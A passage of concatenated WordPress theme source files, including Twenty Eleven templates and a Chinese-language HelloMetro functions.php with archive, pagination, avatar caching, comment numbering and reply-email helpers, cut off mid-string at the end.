'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span> <?php endif; // End if comments_open() ?> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content-quote.php
PHP
asf20
3,191
/* Theme Name: Twenty Eleven Description: Used to style the TinyMCE editor. */ html .mceContentBody { max-width: 584px; } * { color: inherit; font: 15px "Helvetica Neue", Helvetica, Arial, sans-serif; font-style: inherit; font-weight: inherit; line-height: 1.625; } body { color: #333; font: 15px "Helvetica Neue", Helvetica, Arial, "Nimbus Sans L", sans-serif; font-weight: 300; line-height: 1.625; } /* Headings */ h1,h2,h3,h4,h5,h6 { clear: both; } h1, h2 { color: #000; font-size: 15px; font-weight: bold; margin: 0 0 .8125em; } h3 { font-size: 10px; letter-spacing: 0.1em; line-height: 2.6em; text-transform: uppercase; } h4, h5, h6 { font-size: 14px; margin: 0; } hr { background-color: #ccc; border: 0; height: 1px; margin-bottom: 1.625em; } /* Text elements */ p, ul, ol, dl { font-weight: 300; } p { margin-bottom: 1.625em; } ul, ol { margin: 0 0 1.625em 2.5em; padding: 0; } ul { list-style: square; } ol { list-style-type: decimal; } ol ol { list-style: upper-alpha; } ol ol ol { list-style: lower-roman; } ol ol ol ol { list-style: lower-alpha; } ul ul, ol ol, ul ol, ol ul { margin-bottom: 0; } dl { margin: 0 1.625em; } dt { font-size: 15px; font-weight: bold; } dd { margin: 0 0 1.625em; } strong { font-weight: bold; } cite, em, i { font-style: italic; } cite { border: none; } big { font-size: 131.25%; } .mceContentBody blockquote, .mceContentBody blockquote p { font-family: Georgia, "Bitstream Charter", serif !important; font-style: italic !important; font-weight: normal; margin: 0 3em; } .mceContentBody blockquote em, .mceContentBody blockquote i, .mceContentBody blockquote cite { font-style: normal; } .mceContentBody blockquote cite { color: #666; font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif; font-weight: 300; letter-spacing: 0.05em; text-transform: uppercase; } pre { background: #f4f4f4; font: 13px "Courier 10 Pitch", Courier, monospace; line-height: 1.5; margin-bottom: 1.625em; padding: 0.75em 1.625em; } code, kbd, samp, var { font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; } abbr, acronym, dfn { border-bottom: 1px dotted #666; cursor: help; } address { display: block; margin: 0 0 1.625em; } del { color: #333; } ins { background: #fff9c0; border: none; color: #333; text-decoration: none; } sup, sub { font-size: 10px; height: 0; line-height: 1; position: relative; vertical-align: baseline; } sup { bottom: 1ex; } sub { top: .5ex; } input[type=text], textarea { background: #fafafa; -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); border: 1px solid #ddd; color: #888; } input[type=text]:focus, textarea:focus { color: #333; } textarea { padding-left: 3px; width: 98%; } input[type=text] { padding: 3px; } /* Links */ a, a em, a strong { color: #1b8be0; text-decoration: none; } a:focus, a:active, a:hover { text-decoration: underline; } /* Alignment */ .alignleft { display: inline; float: left; margin-right: 1.625em; } .alignright { display: inline; float: right; margin-left: 1.625em; } .aligncenter { clear: both; display: block; margin-left: auto; margin-right: auto; } /* Tables */ table { border: none !important; border-bottom: 1px solid #ddd !important; border-collapse: collapse; border-spacing: 0; text-align: left; margin: 0 0 1.625em; width: 100%; } tr th { border: none !important; color: #666; font-size: 10px; font-weight: 500; letter-spacing: 0.1em; line-height: 2.6em; text-transform: uppercase; } td { border: none !important; border-top: 1px solid #ddd !important; padding: 6px 10px 6px 0; } /* Images */ img[class*="wp-image-"] { height: auto; max-width: 97.5%; } img.size-full { width: auto; /* Prevent stretching of full-size images in IE8 */ } img.wp-smiley { border: none; margin-bottom: 0; margin-top: 0; padding: 0; } p img, .wp-caption { margin-top: 0.4em; } img, .editor-attachment { border: 1px solid #ddd; padding: 6px; } img.alignleft, img.alignright, img.aligncenter { margin-bottom: 1.625em; } .wp-caption { background: #eee; border: none; margin-bottom: 1.625em; max-width: 96%; padding: 9px; } .wp-caption img { display: block; margin: 5px auto 0 !important; max-width: 98%; border-color: #eee; } .wp-caption .wp-caption-text, .wp-caption-dd { color: #666; font-family: Georgia, serif !important; font-size: 12px; margin: 0 0 0.6em 0 !important; padding: 0 0 5px 40px; position: relative; text-align: left; } .wp-caption .wp-caption-text:before { color: #666; content: '\2014'; font-size: 14px; font-style: normal; font-weight: bold; margin-right: 5px; position: absolute; left: 10px; top: 7px; } a:focus img[class*="wp-image-"], a:hover img[class*="wp-image-"], a:active img[class*="wp-image-"] { background: #eee; border-color: #bbb; } .wp-caption a:focus img, .wp-caption a:active img, .wp-caption a:hover img { background: #fff; border-color: #ddd; }
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/editor-style.css
CSS
asf20
5,032
<?php /** * The template for displaying posts in the Aside Post Format on index and archive pages * * Learn more: http://codex.wordpress.org/Post_Formats * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <hgroup> <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2> <h3 class="entry-format"><?php _e( 'Aside', 'twentyeleven' ); ?></h3> </hgroup> <?php if ( comments_open() && ! post_password_required() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?> </div> <?php endif; ?> </header><!-- .entry-header --> <?php if ( is_search() ) : // Only display Excerpts for Search ?> <div class="entry-summary"> <?php the_excerpt(); ?> </div><!-- .entry-summary --> <?php else : ?> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <?php endif; ?> <footer class="entry-meta"> <?php twentyeleven_posted_on(); ?> <?php if ( comments_open() ) : ?> <span class="sep"> | </span> <span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span> <?php endif; ?> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content-aside.php
PHP
asf20
2,112
<?php /** * The template for displaying image attachments. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ get_header(); ?> <div id="primary" class="image-attachment"> <div id="content" role="main"> <?php while ( have_posts() ) : the_post(); ?> <nav id="nav-single"> <h3 class="assistive-text"><?php _e( 'Image navigation', 'twentyeleven' ); ?></h3> <span class="nav-previous"><?php previous_image_link( false, __( '&larr; Previous' , 'twentyeleven' ) ); ?></span> <span class="nav-next"><?php next_image_link( false, __( 'Next &rarr;' , 'twentyeleven' ) ); ?></span> </nav><!-- #nav-single --> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <h1 class="entry-title"><?php the_title(); ?></h1> <div class="entry-meta"> <?php $metadata = wp_get_attachment_metadata(); printf( __( '<span class="meta-prep meta-prep-entry-date">Published </span> <span class="entry-date"><abbr class="published" title="%1$s">%2$s</abbr></span> at <a href="%3$s" title="Link to full-size image">%4$s &times; %5$s</a> in <a href="%6$s" title="Return to %7$s" rel="gallery">%8$s</a>', 'twentyeleven' ), esc_attr( get_the_time() ), get_the_date(), esc_url( wp_get_attachment_url() ), $metadata['width'], $metadata['height'], esc_url( get_permalink( $post->post_parent ) ), esc_attr( strip_tags( get_the_title( $post->post_parent ) ) ), get_the_title( $post->post_parent ) ); ?> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </div><!-- .entry-meta --> </header><!-- .entry-header --> <div class="entry-content"> <div class="entry-attachment"> <div class="attachment"> <?php /** * Grab the IDs of all the image attachments in a gallery so we can get the URL of the next adjacent image in a gallery, * or the first image (if we're looking at the last image in a gallery), or, in a gallery of one, just the link to that image file */ $attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ) ); foreach ( $attachments as $k => $attachment ) { if ( $attachment->ID == $post->ID ) break; } $k++; // If there is more than 1 attachment in a gallery if ( count( $attachments ) > 1 ) { if ( isset( $attachments[ $k ] ) ) // get the URL of the next image attachment $next_attachment_url = get_attachment_link( $attachments[ $k ]->ID ); else // or get the URL of the first image attachment $next_attachment_url = get_attachment_link( $attachments[ 0 ]->ID ); } else { // or, if there's only 1 image, get the URL of the image $next_attachment_url = wp_get_attachment_url(); } ?> <a href="<?php echo esc_url( $next_attachment_url ); ?>" title="<?php the_title_attribute(); ?>" rel="attachment"><?php $attachment_size = apply_filters( 'twentyeleven_attachment_size', 848 ); echo wp_get_attachment_image( $post->ID, array( $attachment_size, 1024 ) ); // filterable image width with 1024px limit for image height. ?></a> <?php if ( ! empty( $post->post_excerpt ) ) : ?> <div class="entry-caption"> <?php the_excerpt(); ?> </div> <?php endif; ?> </div><!-- .attachment --> </div><!-- .entry-attachment --> <div class="entry-description"> <?php the_content(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-description --> </div><!-- .entry-content --> </article><!-- #post-<?php the_ID(); ?> --> <?php comments_template(); ?> <?php endwhile; // end of the loop. ?> </div><!-- #content --> </div><!-- #primary --> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/image.php
PHP
asf20
4,143
<?php /** * The template used for displaying page content in page.php * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <h1 class="entry-title"><?php the_title(); ?></h1> </header><!-- .entry-header --> <div class="entry-content"> <?php the_content(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <footer class="entry-meta"> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content-page.php
PHP
asf20
777
<?php /** * The main template file. * * This is the most generic template file in a WordPress theme * and one of the two required files for a theme (the other being style.css). * It is used to display a page when nothing more specific matches a query. * E.g., it puts together the home page when no home.php file exists. * Learn more: http://codex.wordpress.org/Template_Hierarchy * * @package WordPress * @subpackage Twenty_Eleven */ get_header(); ?> <div id="primary"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <?php twentyeleven_content_nav( 'nav-above' ); ?> <?php /* Start the Loop */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', get_post_format() ); ?> <?php endwhile; ?> <?php twentyeleven_content_nav( 'nav-below' ); ?> <?php else : ?> <article id="post-0" class="post no-results not-found"> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1> </header><!-- .entry-header --> <div class="entry-content"> <p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> </article><!-- #post-0 --> <?php endif; ?> </div><!-- #content --> </div><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/index.php
PHP
asf20
1,491
<?php /* Template Name: Link */ ?> <?php get_header(); ?> <div id="roll"><div title="回到顶部" id="roll_top"></div><div title="查看评论" id="ct"></div><div title="转到底部" id="fall"></div></div> <div id="content"> <div class="main"><?php if (have_posts()) : while (have_posts()) : the_post(); ?> <script type="text/javascript"> jQuery(document).ready(function($){ $(".flink a").each(function(e){ $(this).prepend("<img src=http://www.google.com/s2/favicons?domain="+this.href.replace(/^(http:\/\/[^\/]+).*$/, '$1').replace( 'http://', '' )+" style=float:left;padding:5px;>"); }); }); </script> <div class="article"> <div class="left"> <h2 class="page_title" style="font-size: 15px;font-weight: normal;color: #969696;">友情链接</h2> <div class="flink"><ul> <?php wp_list_bookmarks('orderby=id&category_orderby=id'); ?></ul> </div> <div class="clear"></div> </div> </div> <div class="articles"> <h2 class="page_title" style="font-size: 15px;font-weight: normal;color: #969696;">温情留言板</h2> <?php comments_template(); ?> </div> <?php endwhile; else: ?> <?php endif; ?> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/link.php
PHP
asf20
1,154
<?php echo get_avatar( $comment, 40 ); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/comment_gravatar.php
PHP
asf20
41
<?php include("includes/theme_options.php"); if (function_exists('register_sidebar')) { register_sidebar(array( 'name' => '小工具1', 'before_widget' => '', 'after_widget' => '', 'before_title' => '<h3>', 'after_title' => '</h3>', 'after_widget' => '', )); } { register_sidebar(array( 'name' => '小工具2', 'before_widget' => '', 'after_widget' => '', 'before_title' => '<h3>', 'after_title' => '</h3>', 'after_widget' => '', )); } { register_sidebar(array( 'name' => '小工具3', 'before_widget' => '', 'after_widget' => '', 'before_title' => '<h3>', 'after_title' => '</h3>', 'after_widget' => '', )); } if ( function_exists('register_nav_menus') ) { register_nav_menus(array( 'primary' => '导航菜单' )); } // 获得特色图像 function get_post_img($width="100",$height="100",$sizeTag=2) { global $post, $posts; $first_img = ''; $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = '<img src="'. $matches[1][0] .'" width="'.$width.'" height="'.$height.'" alt="'.$post->post_title .'"/>'; if(empty($matches[1][0])){ if($sizeTag == 2) { $first_img = '<img src="'. get_bloginfo('template_url') .'/images/random/small/tb'.rand(1,20).'.jpg" alt="'.$post->post_title .'" width="'.$width.'" height="'.$height.'"/>'; } else { $first_img = '<img src="'. get_bloginfo('template_url') .'/images/random/big/big'.rand(1,10).'.jpg" alt="'.$post->post_title .'" width="'.$width.'" height="'.$height.'"/>'; } } return $first_img; } // 获得热评文章 function simple_get_most_viewed($posts_num=10, $days=90){ global $wpdb; $sql = "SELECT ID , post_title , comment_count FROM $wpdb->posts WHERE post_type = 'post' AND TO_DAYS(now()) - TO_DAYS(post_date) < $days AND ($wpdb->posts.`post_status` = 'publish' OR $wpdb->posts.`post_status` = 'inherit') ORDER BY comment_count DESC LIMIT 0 , $posts_num "; $posts = $wpdb->get_results($sql); $output = ""; foreach ($posts as $post){ $output .= "\n<li><a href= \"".get_permalink($post->ID)."\" target=\"_blank\" rel=\"bookmark\" title=\"".$post->post_title." (".$post->comment_count."条评论)\" >". mb_strimwidth($post->post_title,0,36)."</a></li>"; } echo $output; } //标题文字截断 function cut_str($src_str,$cut_length) { $return_str=''; $i=0; $n=0; $str_length=strlen($src_str); while (($n<$cut_length) && ($i<=$str_length)) { $tmp_str=substr($src_str,$i,1); $ascnum=ord($tmp_str); if ($ascnum>=224) { $return_str=$return_str.substr($src_str,$i,3); $i=$i+3; $n=$n+2; } elseif ($ascnum>=192) { $return_str=$return_str.substr($src_str,$i,2); $i=$i+2; $n=$n+2; } elseif ($ascnum>=65 && $ascnum<=90) { $return_str=$return_str.substr($src_str,$i,1); $i=$i+1; $n=$n+2; } else { $return_str=$return_str.substr($src_str,$i,1); $i=$i+1; $n=$n+1; } } if ($i<$str_length) { $return_str = $return_str . ''; } if (get_post_status() == 'private') { $return_str = $return_str . '(private)'; } return $return_str; } //分页 function pagination($query_string){ global $posts_per_page, $paged; $my_query = new WP_Query($query_string ."&posts_per_page=-1"); $total_posts = $my_query->post_count; if(empty($paged))$paged = 1; $prev = $paged - 1; $next = $paged + 1; $range = 5; // 修改数字,可以显示更多的分页链接 $showitems = ($range * 2)+1; $pages = ceil($total_posts/$posts_per_page); if(1 != $pages){ echo "<div class='pagination'>"; echo ($paged > 2 && $paged+$range+1 > $pages && $showitems < $pages)? "<a href='".get_pagenum_link(1)."' class='fir_las'>首</a>":""; echo ($paged > 1 && $showitems < $pages)? "<a href='".get_pagenum_link($prev)."' class='page_previous'>.</a>":""; for ($i=1; $i <= $pages; $i++){ if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems )){ echo ($paged == $i)? "<span class='current'>".$i."</span>":"<a href='".get_pagenum_link($i)."' class='inactive' >".$i."</a>"; } } echo ($paged < $pages && $showitems < $pages) ? "<a href='".get_pagenum_link($next)."' class='page_next'>.</a>" :""; echo ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) ? "<a href='".get_pagenum_link($pages)."' class='fir_las'>末</a>":""; echo "</div>\n"; } } //日志归档 class hacklog_archives { function GetPosts() { global $wpdb; if ( $posts = wp_cache_get( 'posts', 'ihacklog-clean-archives' ) ) return $posts; $query="SELECT DISTINCT ID,post_date,post_date_gmt,comment_count,comment_status,post_password FROM $wpdb->posts WHERE post_type='post' AND post_status = 'publish' AND comment_status = 'open'"; $rawposts =$wpdb->get_results( $query, OBJECT ); foreach( $rawposts as $key => $post ) { $posts[ mysql2date( 'Y.m', $post->post_date ) ][] = $post; $rawposts[$key] = null; } $rawposts = null; wp_cache_set( 'posts', $posts, 'ihacklog-clean-archives' );; return $posts; } function PostList( $atts = array() ) { global $wp_locale; global $hacklog_clean_archives_config; $atts = shortcode_atts(array( 'usejs' => $hacklog_clean_archives_config['usejs'], 'monthorder' => $hacklog_clean_archives_config['monthorder'], 'postorder' => $hacklog_clean_archives_config['postorder'], 'postcount' => '1', 'commentcount' => '1', ), $atts); $atts=array_merge(array('usejs'=>1,'monthorder' =>'new','postorder' =>'new'),$atts); $posts = $this->GetPosts(); ( 'new' == $atts['monthorder'] ) ? krsort( $posts ) : ksort( $posts ); foreach( $posts as $key => $month ) { $sorter = array(); foreach ( $month as $post ) $sorter[] = $post->post_date_gmt; $sortorder = ( 'new' == $atts['postorder'] ) ? SORT_DESC : SORT_ASC; array_multisort( $sorter, $sortorder, $month ); $posts[$key] = $month; unset($month); } $html = '<div class="car-container'; if ( 1 == $atts['usejs'] ) $html .= ' car-collapse'; $html .= '">'. "\n"; if ( 1 == $atts['usejs'] ) $html .= '<a href="#" class="car-toggler">展开所有月份'."</a>\n\n"; $html .= '<ul class="car-list">' . "\n"; $firstmonth = TRUE; foreach( $posts as $yearmonth => $posts ) { list( $year, $month ) = explode( '.', $yearmonth ); $firstpost = TRUE; foreach( $posts as $post ) { if ( TRUE == $firstpost ) { $spchar = $firstmonth ? '<span class="car-toggle-icon car-minus">-</span>' : '<span class="car-toggle-icon car-plus">+</span>'; $html .= ' <li><span class="car-yearmonth" style="cursor:pointer;">'.$spchar.' ' . sprintf( __('%1$s %2$d'), $wp_locale->get_month($month), $year ); if ( '0' != $atts['postcount'] ) { $html .= ' <span title="文章数量">(共' . count($posts) . '篇文章)</span>'; } if ($firstmonth == FALSE) { $html .= "</span>\n <ul class='car-monthlisting' style='display:none;'>\n"; } else { $html .= "</span>\n <ul class='car-monthlisting'>\n"; } $firstpost = FALSE; $firstmonth = FALSE; } $html .= ' <li>' . mysql2date( 'd', $post->post_date ) . '日: <a target="_blank" href="' . get_permalink( $post->ID ) . '">' . get_the_title( $post->ID ) . '</a>'; if ( '0' != $atts['commentcount'] && ( 0 != $post->comment_count || 'closed' != $post->comment_status ) && empty($post->post_password) ) $html .= ' <span title="评论数量">(' . $post->comment_count . '条评论)</span>'; $html .= "</li>\n"; } $html .= " </ul>\n </li>\n"; } $html .= "</ul>\n</div>\n"; return $html; } function PostCount() { $num_posts = wp_count_posts( 'post' ); return number_format_i18n( $num_posts->publish ); } } if(!empty($post->post_content)) { $all_config=explode(';',$post->post_content); foreach($all_config as $item) { $temp=explode('=',$item); $hacklog_clean_archives_config[trim($temp[0])]=htmlspecialchars(strip_tags(trim($temp[1]))); } } else { $hacklog_clean_archives_config=array('usejs'=>1,'monthorder' =>'new','postorder' =>'new'); } $hacklog_archives=new hacklog_archives(); //密码保护提示 function password_hint( $c ){ global $post, $user_ID, $user_identity; if ( empty($post->post_password) ) return $c; if ( isset($_COOKIE['wp-postpass_'.COOKIEHASH]) && stripslashes($_COOKIE['wp-postpass_'.COOKIEHASH]) == $post->post_password ) return $c; if($hint = get_post_meta($post->ID, 'password_hint', true)){ $url = get_option('siteurl').'/wp-pass.php'; if($hint) $hint = '密码提示:'.$hint; else $hint = "请输入您的密码"; if($user_ID) $hint .= sprintf('欢迎进入,您的密码是:', $user_identity, $post->post_password); $out = <<<END <form method="post" action="$url"> <p>这篇文章是受保护的文章,请输入密码继续阅读:</p> <div> <label>$hint<br/> <input type="password" name="post_password"/></label> <input type="submit" value="输入密码" name="Submit"/> </div> </form> END; return $out; }else{ return $c; } } add_filter('the_content', 'password_hint'); //支持外链缩略图 if ( function_exists('add_theme_support') ) add_theme_support('post-thumbnails'); add_image_size('thumbnail', 430, 200, true); add_image_size('medium', 140, 100, true); function catch_first_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ $random = mt_rand(1, 20); echo get_bloginfo ( 'stylesheet_directory' ); echo '/images/random/tb'.$random.'.jpg'; } return $first_img; } //自定义头像 add_filter( 'avatar_defaults', 'fb_addgravatar' ); function fb_addgravatar( $avatar_defaults ) { $myavatar = get_bloginfo('template_directory') . '/images/gravatar.png'; $avatar_defaults[$myavatar] = '自定义头像'; return $avatar_defaults; } // 评论回复/头像缓存 function metro_comment($comment, $args, $depth) { $GLOBALS['comment'] = $comment; global $commentcount,$wpdb, $post; if(!$commentcount) { //初始化楼层计数器 $comments = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_post_ID = $post->ID AND comment_type = '' AND comment_approved = '1' AND !comment_parent"); $cnt = count($comments);//获取主评论总数量 $page = get_query_var('cpage');//获取当前评论列表页码 $cpp=get_option('comments_per_page');//获取每页评论显示数量 if (ceil($cnt / $cpp) == 1 || ($page > 1 && $page == ceil($cnt / $cpp))) { $commentcount = $cnt + 1;//如果评论只有1页或者是最后一页,初始值为主评论总数 } else { $commentcount = $cpp * $page + 1; } } ?> <li <?php comment_class(); ?> id="comment-<?php comment_ID() ?>"> <div id="div-comment-<?php comment_ID() ?>" class="comment-body"> <?php $add_below = 'div-comment'; ?> <div class="comment-author vcard"><?php if (get_option('swt_type') == 'Display') { ?> <?php $p = 'avatar/'; $f = md5(strtolower($comment->comment_author_email)); $a = $p . $f .'.jpg'; $e = ABSPATH . $a; if (!is_file($e)){ //当头像不存在就更新 $d = get_bloginfo('wpurl'). '/avatar/default.jpg'; $s = '40'; //头像大小 自行根据自己模板设置 $r = get_option('avatar_rating'); $g = 'http://www.gravatar.com/avatar/'.$f.'.jpg?s='.$s.'&d='.$d.'&r='.$r; $avatarContent = file_get_contents($g); file_put_contents($e, $avatarContent); if ( filesize($e) == 0 ){ copy($d, $e); } }; ?> <img src='<?php bloginfo('wpurl'); ?>/<?php echo $a ?>' alt='' class='avatar' /> <?php { echo ''; } ?> <?php } else { include(TEMPLATEPATH . '/comment_gravatar.php'); } ?> <div class="floor"><?php if(!$parent_id = $comment->comment_parent){ switch ($commentcount){ case 2 :echo "沙发";--$commentcount;break; case 3 :echo "板凳";--$commentcount;break; case 4 :echo "地板";--$commentcount;break; default:printf('%1$s楼', --$commentcount); } } ?> </div><strong><?php comment_author_link() ?></strong>:<?php edit_comment_link('编辑','&nbsp;&nbsp;',''); ?></div> <?php if ( $comment->comment_approved == '0' ) : ?> <span style="color:#C00; font-style:inherit">您的评论正在等待审核中...</span> <br /> <?php endif; ?> <?php comment_text() ?> <div class="clear"></div><span class="datetime"><?php comment_date('Y-m-d') ?> <?php comment_time() ?> </span> <span class="reply"><?php comment_reply_link(array_merge( $args, array('reply_text' => '[回复]', 'add_below' =>$add_below, 'depth' => $depth, 'max_depth' => $args['max_depth']))); ?></span> </div> <?php } function metro_end_comment() { echo '</li>'; } //登陆显示头像 function metro_get_avatar($email, $size = 48){ return get_avatar($email, $size); } //彩色标签云 function colorCloud($text) { $text = preg_replace_callback('|<a (.+?)>|i', 'colorCloudCallback', $text); return $text; } function colorCloudCallback($matches) { $text = $matches[1]; //$color = dechex(rand(0,16777215)); $colors=array('ffb900','f74e1e','00a4ef','7fba00'); $color=$colors[dechex(rand(0,3))]; $pattern = '/style=(\'|\")(.*)(\'|\")/i'; $text = preg_replace($pattern, "style=\"color:#{$color};$2;\"", $text); return "<a $text>"; } add_filter('wp_tag_cloud', 'colorCloud', 1); //自动生成版权时间 function comicpress_copyright() { global $wpdb; $copyright_dates = $wpdb->get_results(" SELECT YEAR(min(post_date_gmt)) AS firstdate, YEAR(max(post_date_gmt)) AS lastdate FROM $wpdb->posts WHERE post_status = 'publish' "); $output = ''; if($copyright_dates) { $copyright = "&copy; " . $copyright_dates[0]->firstdate; if($copyright_dates[0]->firstdate != $copyright_dates[0]->lastdate) { $copyright .= '-' . $copyright_dates[0]->lastdate; } $output = $copyright; } return $output; } /** RSS Feed copyright */ function feed_copyright($content) { if(is_single() or is_feed()) { $custom_fields = get_post_custom_keys($post_id); if (!in_array ('copyright', $custom_fields)) { $content.= '<div class="feed-tip">'; wp_link_pages('before=<div id="fenye">&after=&next_or_number=next&previouspagelink=翻上页&nextpagelink=&nbsp').wp_link_pages('before=&after=&next_or_number=number').wp_link_pages('before=&after=</div>&next_or_number=next&previouspagelink=&nbsp&nextpagelink=翻下页'); $content.= '<div>版权信息:原创文章:<a title="IT客栈" href="http://www.itkes.com" target="_blank">IT客栈</a></div>'; $content.='<div>本文标题:<a rel="bookmark" title="'.get_the_title().'" href="'.get_permalink().'" target="_blank">'.mb_strimwidth(get_the_title(), 0, 60, '...').'</a></div>'; $content.= '<div>本文链接:</font><a rel="bookmark" title="'.get_the_title().'" href="'.get_permalink().'" target="_blank">'.wp_get_shortlink().'</a>转载请注明转自<a title="IT客栈" href="http://www.itkes.com" target="_blank">IT客栈</a></div>'; $content.= '<div>如果喜欢:<a title="IT客栈 | 分享IT江湖那些事" href="http://feed.feedsky.com/itkezhan" target="_blank">点此订阅本站</a></div>'; $content.= '</div>'; } else{ $custom = get_post_custom($post_id); $custom_value = $custom['copyright']; $custom_url=$custom['copyrighturl'] ; $content.= '<div class="feed-tip">'; $content.= '<div>版权信息:文章转自:<a title="'.$custom_value[0].'" href="'.$custom_url[0].'" target="_blank">'.$custom_value[0].'</a></div>'; $content.='<div>本文标题:<a rel="bookmark" title="'.get_the_title().'" href="'.get_permalink().'" target="_blank">'.mb_strimwidth(get_the_title(), 0, 60, '...').'</a></div>'; $content.= '<div>本文链接:<a rel="bookmark" title="'.get_the_title().'" href="'.get_permalink().'" target="_blank">'.wp_get_shortlink().'</a>转载请注明出处</div>'; $content.= '<div>如果喜欢:<a title="IT客栈 | 分享IT江湖那些事" href="http://feed.feedsky.com/itkezhan" target="_blank">点此订阅本站</a></div>'; $content.= '</div>'; } } return $content; } add_filter ('the_content', 'feed_copyright'); //设置个人资料相关选项 function my_profile( $contactmethods ) { $contactmethods['weibo_sina'] = '新浪微博'; //增加 $contactmethods['weibo_tx'] = '腾讯微博'; $contactmethods['renren'] = '人人'; $contactmethods['qq'] = 'QQ空间'; unset($contactmethods['aim']); //删除 unset($contactmethods['yim']); unset($contactmethods['jabber']); return $contactmethods; } add_filter('user_contactmethods','my_profile'); //评论邮件通知 function comment_mail_notify($comment_id) { $admin_email = get_bloginfo ('admin_email'); // $admin_email 可改為你指定的 e-mail. $comment = get_comment($comment_id); $comment_author_email = trim($comment->comment_author_email); $parent_id = $comment->comment_parent ? $comment->comment_parent : ''; $to = $parent_id ? trim(get_comment($parent_id)->comment_author_email) : ''; $spam_confirmed = $comment->comment_approved; if (($parent_id != '') && ($spam_confirmed != 'spam') && ($to != $admin_email) && ($comment_author_email == $admin_email)) { $wp_email = 'no-reply@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME'])); // e-mail 發出點, no-reply 可改為可用的 e-mail. $subject = '您在 [' . get_option("blogname") . '] 的评论有新的回复'; $message = ' <div style="background-color:#eef2fa; border:1px solid #d8e3e8; color:#111; padding:0 15px; -moz-border-radius:5px; -webkit-border-radius:5px; -khtml-border-radius:5px; border-radius:5px;"> <p>' . trim(get_comment($parent_id)->comment_author) . ', 您好!</p> <p>您曾在 [' . get_option("blogname") . '] 的文章 《' . get_the_title($comment->comment_post_ID) . '》 上发表评论:<br />' . nl2br(get_comment($parent_id)->comment_content) . '</p> <p>' . trim($comment->comment_author) . ' 给您的回复如下:<br />' . nl2br($comment->comment_content) . '<br /></p> <p>您可以点击 <a href="' . htmlspecialchars(get_comment_link($parent_id)) . '">查看回复的完整內容</a></p> <p>欢迎再次光临 <a href="' . get_option('home') . '">' . 